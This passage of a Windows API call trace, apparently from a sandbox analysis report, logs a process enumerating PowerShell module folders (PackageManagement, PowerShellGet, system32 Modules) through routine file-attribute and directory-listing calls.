(x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0177.358] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0177.358] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0177.358] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0177.358] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0177.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.358] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.359] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0177.359] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0177.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.359] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5a2e724 | out: lpFileInformation=0x5a2e724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0177.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e45c) returned 1 [0177.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e710) returned 1 [0177.359] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0177.359] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0177.360] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\*"), lpFindFileData=0x5a2e4c0 | out: lpFindFileData=0x5a2e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c68ec0 [0177.360] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.360] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0177.360] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0177.360] FindClose (in: hFindFile=0x5c68ec0 | out: hFindFile=0x5c68ec0) returned 1 [0177.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e480) returned 1 [0177.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.360] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0177.360] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0177.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e464) returned 1 [0177.360] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e728 | out: lpFileInformation=0x5a2e728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0177.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.361] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0177.361] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0177.361] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0177.361] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0177.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e488) returned 1 [0177.361] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22bbab8 | out: lpFileInformation=0x22bbab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0177.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e484) returned 1 [0177.361] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0177.361] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0177.361] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0177.362] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0177.362] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0177.362] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0177.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e710) returned 1 [0177.362] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0177.362] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0177.363] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\*"), lpFindFileData=0x5a2e4c0 | out: lpFindFileData=0x5a2e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c68ec0 [0177.363] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.363] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0177.363] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0177.363] FindClose (in: hFindFile=0x5c68ec0 | out: hFindFile=0x5c68ec0) returned 1 [0177.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e480) returned 1 [0177.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6e0) returned 1 [0177.364] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0177.364] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0177.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e464) returned 1 [0177.364] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e728 | out: lpFileInformation=0x5a2e728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0177.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e460) returned 1 [0177.364] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0177.365] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0177.365] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0177.365] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0177.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e488) returned 1 [0177.365] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22bd100 | out: lpFileInformation=0x22bd100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0177.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e484) returned 1 [0177.369] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0177.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e710) returned 1 [0177.370] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0177.370] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0177.371] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\*"), lpFindFileData=0x5a2e4c0 | out: lpFindFileData=0x5a2e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c68ec0 [0177.371] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.371] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0177.371] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0177.371] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0177.371] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0177.371] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0177.371] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0177.372] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0177.372] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0177.372] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0177.372] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0177.372] FindNextFileW (in: hFindFile=0x5c68ec0, lpFindFileData=0x5a2e4c8 | out: lpFindFileData=0x5a2e4c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 